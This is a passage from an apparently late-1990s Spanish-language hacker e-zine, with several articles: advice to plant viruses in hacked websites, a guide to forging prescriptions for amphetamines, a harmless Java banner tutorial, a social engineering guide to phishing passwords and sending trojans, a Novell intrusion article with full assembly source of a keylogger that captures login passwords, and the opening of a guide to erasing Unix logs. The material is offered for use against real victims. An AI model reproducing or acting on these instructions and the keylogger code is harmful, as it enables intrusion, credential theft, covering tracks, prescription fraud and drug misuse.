@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% Bien ya tengo el root o una cuenta de algun administrador ahora que?, pues ahora sigue la parte mas divertida. Estando como root bajas todos los archivos de la pagina y despues los editas cada archivo guardalo con el mismo nombre que tenia para ahorrarte trabajo, luego editas la web-page. Usa tu imaginzacion por ejemplo si hay archivos executables remplazalos por virus cambia los links modifica las imagenes etc. ahora reemplazas los antiguos archivos por los nuevos recuerda que el chiste es hacer cambios que no llamen mucho la atencion para que los Admins no se den cuenta y dure mas tiempo. Y recuerda |-|4cK t|-|3 \/\/0r1d .... ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% ESTUDIAR O TRABAJAR Y PERMANECER DESPIERTO ****************************************** ****************************************** AUTOR: Ergot FECHA: Septiembre del 1997 PROCEDENCIA: España TEMA UNDERGROUND: Drogas SITE: Underhack (http://underhack.islatortuga.com) NOTAS: Underhack se lava las manos de cualquier daño que esta informacion pueda causar, bla, bla, bla...., y da todos los derechos de este articulo sola y unicamente a RareGazz con la condicion de no modificar el contenido. El texto se comprende bien en la primera parte, y despues a la gente le puede parecer pesado, pero hay que ser buenos y conocer los efectos de estas sustancias :). Ahhh, se me olvidaba, los precios estan en pesetas, asi que al final del doc podeis poner la equivalencia en pesos :) CENTRAMINA (ANFETAS) -------------------- Que yo sepa solo se comercializa la centramina que en esencia es anfeta y no se puede conseguir sin receta, creo, pero se usan para adelgazar; dos opciones: di que quieres perder peso o cuentale la vida al medico. Para la receta has de poner: centramina 10 unidades 1 com cada 8 horas y firmita centramina 20 unidades 1 com cada 8 horas y firmita Centramina es la marca comercial, no hay de varios tipos asi que no has de poner nada mas, si se deja sin poner la posologia cantara, y mejor pon de 10 que tambien cantara menos (y cuidadin que esto es peligroso). Deja espacios no todo seguido: centramina 10 unidades una cada 8 horas Pon letra de medico ya sabes.. y no estes cerca de la zona de donde es la receta, los farmaceuticos conocen la letra de los medicos..... Precios: 10 - 113 ptas y 20 - 162 ptas A continuacion se veran posibles sustitutos. KATOVIT & FINEDAL ----------------- Yo te aconsejaria que utilizases el katovit, no es ilegal y si es para estudiar va muy bien.. Katovit (sin receta) + cafe o cocacola = 3 o 4 comprimidos.. pero no pegaras ojo, es un complejo vitaminico que incluye la pseudo anfeta, (mejor que empiezes con 2) El finedal es algo parecido al katovit, pero mejor el katovit, en las farmacias ya saben. [ en Mexico el equivalente es "catovit" cuesta de 30 a 35 pesos con 20 pastillas y se vende libremente sin receta por ser unicamente vitamina B y variantes. Por experiencia recomiendo de 4 a 5 y una cerveza fria. :-) ] TERMALGIN CODEINA ----------------- Otra posibilidad es el termalgin codeina + un cafe = te mantiene despierto y funciona bastante bien, (al menos a mi) haz la prueba. Receta: sin codeina si, la codeina es un morfico sintetico, pero te la dan igual no te ponen problemas en las farmacias, es un farmaco muy comun. La codeina se usa para potenciar el efecto analgesico del paracetamol. Mas cosas... La unica anfetamina que se comercializa en España es la Centramina (igual que el nombre comercial), y SOLO se vende con receta de estupefacientes, cosa chunguiisima de conseguir. Puedes encontrar sustitutos decentillos como el DYNAMIN, que tambien va con receta pero no de estupefacientes y por lo tanto un farmaceutico enrollado te lo puede vender. PRECIO: 500 ptas. Otro producto es la CAFIASPIRINA, es lo mejor para examenes, es AAS con cafeina (mas o menos lo que una taza cargadilla de cafe), te quita el dolor de cabeza y te quita el sueño. Como problema, pues que no puedes tomartela en ayunas porque hace daño al estomago. El KATOVIT,FARMATRON COMPLEX... y similares, llevan algo de estimulante, pero poco y no valen para fines educativos. :) Por ultimo la mayoria de los estimulantes sinteticos de Bakalaeros llevan anfetamina o similares, y pueden usarse para mantenerte despierto, aunque son caros..... IMPORTANTE: nunca tomes anfetaminas mas de tres dias seguidos porque puedes acabar viendo "cosas raras". Ah, algunos antiasmaticos que llevan TEOFILINA tambien producen excitacion e insomnio como efectos secundarios, y el PROZAC tambien, pero este ultimo va con receta. A algunos seres pensantes, les gusta tomar cosas para estudiar, o estar muchas horas delante del ordenata, o pa cualquier cosa. Muchos de los farmacos elaborados con ese fin contienen vitaminas por un tubo, y no es de extrañar que agarres una hipervitaminosis de caballo. ¡Bueno!, pos hablemos de hipervitaminosis. [ En Mexico equivalentes de PROZAC son REYNOL -roche- y las pastillas llamadas rigotril o mejor conocidas como `rebotes' ] VITAMINAS LIPOSOLUBLES ----------------------- Toxicidad vit A (retinol) ========================= La administracion aguda de grandes dosis de vitamina A se asocia con la aparicion de vomitos, cefaleas, convulsiones y otros signos de hipertension intracraneal, como papiledema, que configuran un cuadro de seudotumor cerebral. La toma cronica de dosis moderadas durante meses puede causar perdida de cabello y aparicion de sequedad cutanea con prurito (picor). El uso de vitamina A en dosis farmacologicas durante el embarazo se ha asociado a mayor incidencia de malformaciones congenitas. --- EN INGLES --- Excess: Because vitamin A is fat soluble, it is stored in the body. As a result, continued high doses (several times the U.S. RDA) have toxic effects. Signs of toxicity include dry and itching skin, headaches, and nausea and diarrhea. High vitamin A intake during pregnancy also may cause birth defects, but it is not known at what level this can occur. Excessive amounts of carotene are not known to be toxic, but will cause the skin to turn deep yellow. The color disappears when the amount of carotene in the diet is decreased. --- EN INGLES --- Vitamina D ========== --- EN INGLES --- Excess: High intakes may cause vomiting, diarrhea, and weight loss and lead to calcium deposits in various organs. Children are especially susceptible, but anyone can have adverse effects from high daily doses. --- EN INGLES --- Toxicidad vit E (tocoferoles, D-a-tocoferol) ============================================ Aunque menos toxica que las otras vitaminas liposolubles, el aporte de cantidades elevadas de vitamina E puede aumentar los requerimientos de vitamina K y alargar el tiempo de protrombina. El aporte parenteral de vitamina E puede asociarse a la aparicion de hepatosplenomegalia, ictericia colest sica, ascitis y trombocitopenia en el niño prematuro. --- EN INGLES --- Excess: Some evidence suggests that large intakes may cause increased levels of blood cholesterol and lipids. --- EN INGLES --- Toxicidad Vit K (filoquinona)(menaquinona) ========================================== Dosis altas de vitamina K por via parenteral pueden producir anemia hemolitica en el recien nacido. --- EN INGLES --- Excess: Natural forms have no known toxic effects; large doses of the synthetic version, menadione, and its derivatives cause anemia and kernicterus, a condition characterized by jaundice, in infants. --- EN INGLES --- VITAMINAS HIDROSOLUBLES ----------------------- Toxicidad vit C (acido ascorbico) ================================= El uso prolongado de acido ascorbico en grandes dosis puede interferir en la absorcion de la vitamina B 12 , aumentar las concentraciones sanguineas de estrogenos en la mujer, causar uricosuria, facilitar la formacion de calculos renales de oxalato y provocar la intoxicacion por hierro en pacientes que requieren transfusiones cronicas de sangre. --- EN INGLES --- Excess: High intakes of 1 gram or more per day may cause nausea, abdominal cramps, and diarrhea in some people. --- EN INGLES --- Toxicidad vit tiamina B1 ======================== Por via oral no se han descrito intoxicaciones. En el caso de administracion intravenosa se ha observado la aparicion de hipertension, taquicardia y edemas de causa desconocida. No se ha descrito en el ser humano. --- EN INGLES --- Excess: High intakes appear nontoxic since excess thiamin is easily excreted by the kidneys. --- EN INGLES --- Toxicidad vit Riboflavina B2 ============================= No se ha descrito en el ser humano. --- EN INGLES --- Excess: High doses appear nontoxic. --- EN INGLES --- Toxicidad vit Niacina ===================== Dosis superiores a 3 g/dia de acido nicotinico producen dilatacion vascular y sofocacion, disminucion de los lipidos sericos (util en el tratamiento de ciertas hiperlipoproteine-mias) y reduccion de la utilizacion de los acidos grasos del adipocito durante el ejercicio. En el caso de emplear estas dosis, es necesario controlar si existe dolor abdominal, aumento de la pigmentacion de la piel, hepatotoxicidad, hiperuricemia o hiperglucemia. Raras veces provoca arritmias cardiacas y ulcera peptica. --- EN INGLES --- Excess: Large amounts of niacin, when taken in the nicotinic acid form of the vitamin, act as a drug. Nicotinic acid is often prescribed as a cholesterol-lowering drug, and should be taken only under the supervision of a physician. Side effects include vascular dilation of the skin (flushing) and gastrointestinal distress. Prolonged intake may cause liver damage. --- EN INGLES --- Toxicidad vit piridoxina (B 6) (importante en los pedos de alcohol) =================================================================== Se han descrito neuropatias sensitivas tras la administracion de grandes dosis de esta vitamina (superiores a 500 mg/dia). (Es cofactor de la alcohol deshidrogenasa por lo que ayuda a metabolizar el alcohol; la tenemos de forma directamente proporcional a nuestra resistencia al alcohol), se compra sin receta - BENADON -, y es lo que inyectan a los "comas etilicos" (bueno casi) y parece magico.) --- EN INGLES --- Excess: Long-term megadoses, such as may be taken by women to alleviate premenstrual syndrome, may cause nerve damage and muscular incoordination in the hands and feet. --- EN INGLES --- Toxicidad vitamina B 12 ======================= --- EN INGLES --- Excess: No toxicity has been reported from high intakes, but no benefits have been reported, either. --- EN INGLES --- Folatos, acido folico ===================== --- EN INGLES --- Excess: Very large doses may bring about convulsions in epileptics who are taking the anticonvulsant drug phenytoin. Without evidence of benefit from high doses and with some evidence of potential for toxicity, high intakes of folate supplements are not recommended by the National Research Council of the National Academy of Sciences. U.S. Recommended Daily Allowances: Infants Children Adults and Pregnant or (0-12 mo.) (1-3 years) Children 4 Years+ Nursing Women 100 micrograms 200 mcg 400 mcg 800 mcg --- EN INGLES --- Biotina ======= --- EN INGLES --- U.S. Recommended Daily Allowances: Infants Children Adults and Pregnant or (0-12 mo.) (1-3 years) Children 4 Years + Nursing Women 50 micrograms 150 mcg 300 mcg 300 mcg --- EN INGLES --- Exceso: Ningun efecto ha sido reportado, Acido Pantotenico ================= Vitamina B-complex Exceso: Ningun efecto ha sido reportado, ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% + + + + + + + + + + + + + + + + | Cracker Applets Jack | | La guia para un web Cool | + + + + + + + + + + + + + + + + de la serie `mejoremos el web' para RareGaZz El espacio de internet se esta saturando de applets java. El dia de hoy ha dejado de ser tipico aquel navegador con el lenguaje java desabilitado debido a la implementacion de applets para busquedas en bases de datos y para mandar correo electronico. Es por esto que si tienes una pagina en internet necesitas implementar un poco de java para...como decirlo sin mencionar a las chikas spice? oh diablos `spice up your web'. Los Archivos. ~~~~~~~~~~~~~ El archivo class.zip incluido al final de la revista (seccion UUENCODE) contiene los archivos BannersMsg.class y Banners.class a los que por medio de parametros usaremos para crear portentosos banners para el web. Los Parametros. ~~~~~~~~~~~~~~~ El codigo de los banners es inservible sin una combinacion adecuada de parametros que nos permitiran definir el tamaño, background, color y tipo de letra que queramos utilizar. Tan solo una combinacion de parametros correcta dentro de un archivo HTML definidos dentro de las etiquetas <applet ?> y </applet> nos daran como resultado un lujoso banner. En el siguiente ejemplo seran evaluados los parametros individualmente; cabe hacer notar que los parametros siguientes dentro de un archivo que pueda ser visualizado con el navegador dara como resultado el banner de raregazz. Para que funcione correctamente los 2 archivos .class deberan estar en el directorio. .............................................................................. <applet code="Banners.class" width="608" height="50" > <param name="bgImage" value="fondo.jpg"> <param name="fps" value="40"> <param name="repeat" value="1"> <param name="borderWidth" value="1"> <param name="borderColor" value="red"> <param name="messages" value="Bienvenido a la |Pßgina Oficial {textColor=Yellow} {exit=zoomIn} |de la revista {size=36} {align=Top} {enter=zoomOut} {exit=none} {cpf=4} {textColor=Red} {emboss=true} |Electronica {font=TimesRoman} {size=48} {enter=wipeUp} {exit=wipeDown} {textColor=Orange} {emboss=true} |para Hackers{enter=fade} {exit=fade} {pause=2} {cpf=4} {textColor=Red} |Editada por... {size=36} {enter=scrollLeft} {exit=scrollLeft} {pause=0} {cpf=4} {textColor=Green} |RareTrip -0- KillerBot -0- Mr. X -0- Le PompeItor {pause=4} {cpf=1} {emboss=true} {size=26} {effect=color} |ServerHacker -0- Groovy -0- GuyBrush {pause=4} {cpf=1} {emboss=true} {size=28} {effect=color} |Y colaboradores como tu! {pause=3} {size=36} {textColor=Green} |Espacio para este web proporcionado por{size=26} {align=Top} {enter=zoomOut} {exit=zoomIn} {cpf=4} {textColor=Red} |ISLATORTUGA.COM {enter=wipeUp} {exit=scrollRight} {pause=5} {cpf=4} {size=38} {effect=color} {emboss=true}"> <param name="font" value="Helvetica"> <param name="style" value="Bold"> <param name="size" value="54"> </applet> .............................................................................. <applet code="Banners.class" width="608" height="50" > La primera linea define el nombre del archivo class a utilizar y las medidas deseadas del banner. `width' mientras la lengua inglesa no sea modificada es el `largo' mientras que `height' la `altura'. Hagamos un banner desde cero. empezamos con la medida. ¿que tal 500 de largo y 50 de ancho? perfecto. Para ayudarte a calcular la medida puedes usar un programa de edicion de graficos. Las unidades de medicion son Pels. Hagamos el banner como habiamos dicho definiendo el parametro inicial asi: <applet code="Banners.class" width="500" height="50" > El siguiente parametro definido en el ejemplo es: <param name="bgImage" value="fondo.jpg"> Este parametro puede o no estar presente. Lo que nos permite es usar una imagen que debe ser jpg como fondo de nuestro banner. Durante la ejecucion del banner podras modificar la imagen de fondo haciendolo mas atractivo. Para el banner que vamos a crear usaremos el mismo parametro y hay que tener el archivo fondo.jpg y los otros que utilizemos en el mismo directorio que tengamos nuestros htmls. La velocidad se mide en `frames per second' o cuadros por segundo. Asi, elegimos la velocidad con la que se mostrara el banner. Como estamos de party eligamos una velocidad rapida... <param name="fps" value="30"> La velocidad puede ser modificada usando un comando dentro del parametro messages llamado "cpf". Si deseamos que nuestro banner se repita lo indicamos en el siguiente parametro de esta forma: <param name="repeat" value="1"> Para evitar que el banner se repita infinitamente quitamos el parametro de nuestro codigo html. Un borde alrededor del banner puede ser una buena idea, para esto incluye el parametro: <param name="borderWidth" value="0"> donde `value' debe ser el ancho del borde. Para nuestro banner usaremos un borde de 2 pels. El codigo quedara definido asi: <param name="borderWidth" value="2"> Ahora que tenemos nuestro borde definiremos el color con este otro parametro: <param name="borderColor" value="blue"> El valor puede ser uno de estos: blue, red, cyan, magenta, yellow, orange, green, entre otros. Asi como se define el color del borde tambien hay que escoger el tipo de letra default que queramos usar para nuestro banner. Hay que tener en cuenta que esta opcion puede ser modificada con otro parametro explicado mas adelante. Asi definimos nuestro font default en el banner: <param name="font" value="Helvetica"> El tamaño default tambien debe ser definido con este parametro: <param name="size" value="54"> Para resaltar nuestro banner se sugiere incluir este parametro: <param name="style" value="Bold"> El Banner. ~~~~~~~~~~ Dentro del parametro `messages' debe ir todo lo que querramos que nuestro banner ponga en el visualizador. Lo diferente de este parametro es que puede incluir otros parametros dentro del mismo para cambiar el color de la letra, la velocidad del banner, el estilo y para incluir efectos. Los subparametros dentro del parametro `messages' tienen a su vez valores que definen su funcion en el texto del applet java. Los subparametros aceptados son: ┌──────────────────────┬────────────────────────┐ │{textColor=valor} │ Permite cambiar el │ │ │ color del texto. │ │{enter=valor} │ Asi aparecera el texto │ │ │ en el banner. │ │{exit=valor} │ Define como saldra el │ │ │ texto del banner. │ │ │ color del texto. │ │{size=valor} │ Permite modificar el │ │ │ tamaño del texto. │ │{align=valor} │ En que parte del banner│ │ │ saldra el texto. │ │{cpf=valor} │ Velocidad. │ │{emboss=valor} │ Efecto emboss ON/OFF │ │{font=valor} │ El tipo de letra. │ │{pause=valor} │ Permite poner una pausa│ │ │ en el applet. │ │{effect=color} │ Efecto de colores. │ └──────────────────────┴────────────────────────┘ Dentro del parametro `messages' el texto que aparecera en cada pantalla del banner debe ir separado por el caracter ASCII numero 124 ( | ) pero antes de separar las pantallas los subparametros deben ser definidos. Los subparametros deben estar entre corchetes ( {..} ). Todo esto estara entre comillas formando el valor del parametro `messages'. SubParametros. ~~~~~~~~~~~~~~~ {textColor=valor} ^^^^^^^^^^^^^^^^^ Este subparametro se usa para definir el color del texto que aparecera en el banner. Los valores que puede tener varian desde blue(azul), red(rojo), cyan(azul claro), magenta(bueno hombre...), yellow(amarillo), orange(naranja) green(verde), etc. Un ejemplo podria ser: <param name="messages" value="Este es un {textColor=red}| EJEMPLO {textColor=blue}"> mensaje del banner ┘ ┬ se muestra en la pantalla del banner las palabras `Este es un' de color rojo. {exit=valor} y {enter=valor} ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Cuando el texto se muestra en la pantalla se pueden incluir efectos como un desliz tipo scroll o una aparicion del tipo makearray o fade. Los valores pueden ser: zoomIn (acercamiento hacia dentro), zoomOut (acercamiento hacia fuera), wipeUp (borrado hacia arriba), wipeDown (borrado hacia bajo), scrollLeft (desliz hacia la izquierda), scrollRight (desliz hacia la derecha), y none (ninguno de los anteriores). Para mostrar el mismo texto que el ejemplo de arriba pero entrando de derecha a izquierda y saliendo borrado hacia arriba hariamos esto: <param name="messages" value="Este es un {textColor=red} {enter=scrollRight} {exit=wipeUp}| EJEMPLO {textColor=blue} {enter=scrollRight} {exit=wipeUp}"> {size=valor} ^^^^^^^^^^^^ Para modificar el tamaño del texto mostrado en pantalla usa este comando. Los valores son todos los numeros positivos despues del cero. {align=valor} ^^^^^^^^^^^^^ Con este comando podemos colocar texto en las distintas partes del applet. Los valores que puede tener son: Top, Bottom, Right, Left. {cpf=valor} ^^^^^^^^^^^ Gracias a este comando se nos hace posible cambiar la velocidad del texto en las distintas partes del banner. El valor entre mayor sea mas lento se hara el banner. {emboss=valor} ^^^^^^^^^^^^^^ Este comando solo puede tener un valor: true este parametro debe ser incluido unicamente cuando queramos que alguna parte del texto de nuestro applet aparezca con ese efecto. {font=valor} ^^^^^^^^^^^^ Util para modificar el Font usado en el texto en distintas partes del banner. El valor puede ser: TimesRoman, etc. {pause=valor} ^^^^^^^^^^^^^ Incluye una pausa en el banner. Los valores se miden en segundos. {effect=color} ^^^^^^^^^^^^^^ Modifica el texto que aparece en la pantalla añadiendole un efecto que hace cambiar el color de la letra. Hasta La Vista :-) ~~~~~~~~~~~~~~~~~~ Hey este texto puede llegar a ser util para alguien...vamos! Q' lo unico que queria era ayudar a hacer applets a cualquier persona. Espero haberlo conseguido.... celula (ce lu lavan con jabon). raretrip. ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% ____________________ / \ | INGENIERIA SOCIAL | \____________________/ Como la mayoria de vosotros sabreis, la ingenieria social trata de conseguir accesos a ordenadores remotos, pero no mediante fallos en el sistema ni utili- zando exploits. Es mucho mas simple; se trata de 'convencer' a alguien para obtener accesos en un sistema. Esto parece una tonteria pero os aseguro que es muy util. Con una sola cuenta ya podemos acceder al sistema - indispensable para capturar los passwd o eje- cutar exploits. Y conseguir el acceso, como todos sabreis es lo mas dificil. Despues de esto, ya interviene la imaginacion de cada uno. Bien, hay varias formas de utilizar la ingenieria social: 1- Convencer a alguien en el IRC para que te de sus contraseñas (esto ya esta muy visto y es muy dicifil que te de resultado, ademas de ser muy pesado). Para ello debes usar tu imaginacion ... hacerte pasar por chica, entrar en canales de novatos, ... 2- Conseguir datos de alguien y luego llamar a su proveedor diciendo que se te ha perdido el passwd, ... o pidiendo informacion. No lo recomiendo. O tam bien se puede llamar al usuario diciendole que eres el proveedor y que necesitas sus datos para algo ... deja correr tu imaginacion. 3- Realizar 'encuestas'. Este metodo me gusta mas. Se trata de conseguir los mails de novatos en el IRC (mas facil que en el caso anterior, pues el mail te lo da cualquiera, pero el login y el passwd no). Y despues enviarle un mail diciendo que eres el administrador y que necesitar su passwd para algo (para cambiarselo, porque se han perdido algun fichero de logs, ... deja co- rrer tu imaginacion). Pero debes de tener cuidado con esto. Has de usar co- rreo anonimo y sobre todo usar remailers; para que nadie pueda nunca loca- lizarte en caso de que la victima te denuncie al administrador. 4- Enviar un programa a alguien y que cuando lo ejecute te envie por correo el /etc/passwd (un caballo de troya). Ideal para universidades y demas. Debes de seleccionar muy bien a las victimas. Que sean de proveedores con ac- ceso al shell del sistema, paginas web para los usuarios, ... De nada te sirve tener las contraseñas de una cuenta de hotmail de alguien ... solo podras leer su correo. Ademas, algunas de estas cuentas tambien te serviran para conseguir acceso a Internet *gratis* ... bueno, a costa del otro :) ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% ┌────────────────────────┐ │ HACKING NOVELL NETWARE │ │ ~~~~~~~~~~~~~~~~~~~~~~ │ │ .o killerbot o. │ └────────────────────────┘ En muchas corporaciones o escuelas (aqui en mexico) se implementa la red Novell como la mejor opcion para manejar una red local. Por esta razon tratare de explicarte como lograr ser supervisor de esa red y accesar TODO! Gracias a las puntas de tus dedos ;) Las versiones superiores a las 4.x tienen como cuentas defaults SUPERVISOR, GUEST, ADMIN, USER_TEMPLATE. Al momento de la instalacion de la red netware se le asigna password a las cuentas SUPERVISOR y ADMIN. Para propositos especificos se pueden instalar algunas otras cuentas. Estas son algunas junto con sus funciones : .-FUNCION-. .-Cuenta-. puerto de impresion PRINT puerto de impresion LASER puerto de impresion HPLASER puerto de impresion PRINTER puerto de impresion LASERWRITER puerto de impresion POST puerto de impresion MAIL añadir un gateway al sistema GATEWAY añadir un gateway al sistema GATE ruteador de correo al server ROUTER unidad de fax/modem en la red FAX unidad de fax/modem en la red FAXUSER cuenta de prueba para uso temporal TEST Esto debe darte una idea de las cuentas que debes intentar si quieres ganar acceso a una red novell. Una manera de esconderte es darle password a GUEST o USER_TEMPLATE. Si ya eres supervisor de tu red local no olvides crear cuentas "backdoors" que te permitan entrar en un futuro con nombres como Alt + 255 el siguiente texto sobre novell lo encontre en internet y puede darnos una idea de como hackear novell de una forma sencilla: Novell Una manera facil de colarte en una red Novell Bueno, si sois de esos cotillas que os gustaria colaros en la red de vuestra empresa, escuela o lo que sea, para aumentaros la nomina, o las notas, os esplico unos metodos muy sencillos y curiosos para conseguirlo, con estos metodos podreis conseguir el password de supervisor, y hacer maravillas con el. La primera manera es poner como nombre de usuario guest, esta cuenta tiene privilegios de supervisor, y generalmente al administrador de sistema, por increible que parezca, no se acuerda de ella, y no la protege con password. Para la segunda manera necesitais lo que los americanos llaman un keystroke, (yo uso el GETIT, es el mejor y ocupa menos de 1K) que es algo asi como un doskey pero a lo bestia. Este programita es un TSR que se carga antes de hacer el login y deja grabadas todas las teclas pulsadas en un archivo (testing.tmp) en el directorio raiz. De esta manera esperamos a que el supervisor o alguien con sus privilegios use el ordenata donde este instalado meta su password (en el fichero vemos primero el nombre del usuario y luego la password metida) despues leemos tranquilamente el fichero, y ya esta, nos metemos con la cuenta del supervisor y bien cotilleamos y lo dejabamos todo como antes, o nos abrimos una cuenta con derechos de supervisor, o ampliamos la nuestra, o ampliamos otra (por ejemplo la cuenta guest, la damos privilegio de supervisor y la ponemos password, el nombre del administrador del sistema pa mas mala leche). Avisos: A mi el programita en cuestion solo me funcionaba si lo cargaba despues de IPX El fichero con las claves (el testing.tmp) se graba con atributos de sistema y oculto. Getit ------------------ cseg segment assume cs:cseg,ds:cseg org 100h public oi21,ac,ob,fn,fh,flag,ni21,jtov,oc,lethro,wpwtf,exist,create, public cntr,lits,begin .RADIX 16 start: push cs push cs push cs pop ds pop es mov ax,0fffeh CLI pop ss mov sp,ax STI jmp begin oi21 dd ? ac dw 0 ob dw 80h dup (?) buff2 db 80h dup (?) fn db 'c:\testing',0FF,'.tmp',0 search1 db 'LOGIN' foundf db 0 fh dw 0 flag db 0 cntr dw 0 ni21: assume cs:cseg,ds:nothing,es:nothing cmp ax,4b00h je exec cmp foundf,0ffh jne nc cmp ah,8 je oc cmp ah,7 je oc nc: push ax mov al,cs:flag not al cmp al,0 jne jtov mov ax,cntr inc ax mov cntr,ax cmp ax,31h jb jtov xor ax,ax mov cntr,ax mov flag,al pop ax pushf call dword ptr [oi21] push ds push cs pop ds push ax push bx push cx push dx jmp short wpwtf jtov: pop ax jmp dword ptr cs:[oi21] exec: call scanfor jmp nc oc: pushf call dword ptr cs:[oi21] assume ds:cseg push ds push cs pop ds push ax push bx push cx push dx mov bx,ac mov [bx],al inc bx mov [ac],bx cmp al,0dh jne lethro mov byte ptr [bx],0ah not cs:[flag] lethro: pop dx pop cx pop bx pop ax pop ds iret scanfor: push ax push di push si push es push ds push cs push cs pop es mov si,dx mov di,offset buff2 moveit: lodsb and al,0dfh stosb or al,al jnz moveit pop ds mov di,offset buff2 look: push di mov si,offset search1 mov cx,5 repe cmpsb pop di or cx,cx jz foundit inc di cmp byte ptr [di+5],0 je not_found jmp look not_found: xor ax,ax mov foundf,al jmp short endofsearch foundit: mov ax,0ffh mov foundf,al endofsearch: pop ds pop es pop si pop di pop ax ret wpwtf: mov ax,3d02h mov dx,offset fn pushf call dword ptr [oi21] jnc exist cmp al,2 je create jmp lethro create: mov ah,3ch mov dx,offset fn mov cx,02h+04h pushf call dword ptr [oi21] jnc exist jmp lethro exist: mov fh,ax mov bx,ax mov ax,4202h xor cx,cx xor dx,dx pushf call dword ptr[oi21] mov cx,[ac] mov dx,offset ob sub cx,dx mov [ac],dx inc cx mov bx,fh mov ah,40h pushf call dword ptr [oi21] mov ah,3eh mov bx,fh pushf call dword ptr [oi21] jmp lethro lits db 90h begin: mov ax,offset ob mov [ac],ax mov ax,3521h int 21h mov di,offset oi21 mov [di],bx mov [di+2],es mov dx,offset ni21 push cs pop ds mov ax,2521h int 21h mov dx,offset lits int 27h cseg ends end start ------------------ ( lo necesario para compilar este programa se encuentra en la pagina de software de raregazz http://raregazz.islatortuga.com/tasm.zip ) 1996 Carlos Fco. Lopez Perez , loper @ran.es --> killerbot. ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% ┌───────────────────────────────────────────────────────────────────────────┐ │ ELIMINANDO NUESTRAS HUELLAS DEL SISTEMA │ ├───────────────────────────────────────────────────────────────────────────┤ │ Por: Guybrush │ ├───────────────────────────────────────────────────────────────────────────┤ │ E-Mail: guybrush@axis.org │ └───────────────────────────────────────────────────────────────────────────┘ ┌───────────────────────────────────────────────────────────────────────────┐ │ INDICE │ └───────────────────────────────────────────────────────────────────────────┘ 0-Introduccion 1-¿Que huellas dejamos cuando trabajamos en un sistema? 2-¿Por que y cuando es necesario borrar nuestras huellas? 3-Como borrarlas 4-Despedida ┌───────────────────────────────────────────────────────────────────────────┐ │ 0-INTRODUCCION │ └───────────────────────────────────────────────────────────────────────────┘ Existen muchos documentos por ahi que explican como conseguir ser root en ordenadores que trabajan con Unix. Como capturar el passwd (este o no shadow), como utilizar los diccionarios, cuentas por defecto, bugs, etc. (Nota: ¿que aun no sabes como hacer esto? ¿a que esperas para leerte mi articulo sobre UNIX?. Lo puedes encontrar en varias revistas o puedes pedirmelo por correo). Bien, pero, ¿que ocurre cuando por fin conseguimos la cuenta root de ese servidor al que hemos estado intentando entrar desde hace varios meses? ¿Que podemos hacer para conservar esa cuenta el mayor tiempo posible? ┌───────────────────────────────────────────────────────────────────────────┐ │ 1-¿QUE HUELLAS DEJAMOS CUANDO TRABAJAMOS EN SISTEMA? │ └───────────────────────────────────────────────────────────────────────────┘ todos los sistemas basados en unix guardan informacion sobre los usuarios que se conectan, asi como las ordenes que ejecutan y en caso de ser un host remoto tambien su direccion de dominio. estos registros son llamados 'logs'. Pero no todos los Unix son iguales. Podemos encontrarnos con el Unix de IBM (AIX), el Unix del Sun (SunoS o Solaris), etc. Por lo que algunos guardan los datos sobre usuarios en directorios distintos a los demas. Los logs mas importantes son: utmp ---- Guarda un log de los usuarios que estan utilizando el sistema mientras estan conectados a el. Lo podemos encontrar en: /etc/utmp wtmp ---- Guarda un log cada vez que un usuario se introduce o sale del sistema. Lo podemos encontrar en: /var/adm/wtmp lastlog ------- Guarda un log del momento exacto en que un usuario entro por ultima vez. Lo podemos encontrar en: /var/adm/lastlog ┌───────────────────────────────────────────────────────────────────────────┐ │ 2-¿POR QUE Y CUANDO ES NECESARIO BORRAR NUESTRAS HUELLAS? │ └───────────────────────────────────────────────────────────────────────────┘ Mientras seamos un usuario sin privilegios no podremos borrar ninguno de estos logs, ya que no tendremos permiso para ello. Pero esto tampoco nos debe importar mucho ya que un administrador no puede saber si hoy a las 17:45 horas ha entrado en el servidor el usuario 'pepito' o si era un hacker que ha conseguido su cuenta. A no ser que se lo pregunte a 'pepito' y este diga: 'oh no, pero si yo a esa hora estaba en el cine ...' @#$%& ... pero bueno, es poco probable ya que con los pocos privilegios que puede tener un simple usuario no podemos hacer casi nada en el sistema. Por lo que un administrador medianamen- te bueno, cada vez que comience una sesion revisara sus logs (los del root) para ver si hay algo anormal en su cuenta. Imaginate que por fin consigues esa deseada cuenta root y por no borrar las huellas, cuando vas el dia siguiente a conectarte ... 'invalid passwd' ... y eso en el mejor de los casos, porque si no usas 'condones' (conectarte a un sistema, de ahi a otro, ... y por fin al sistema victima) te pillaran 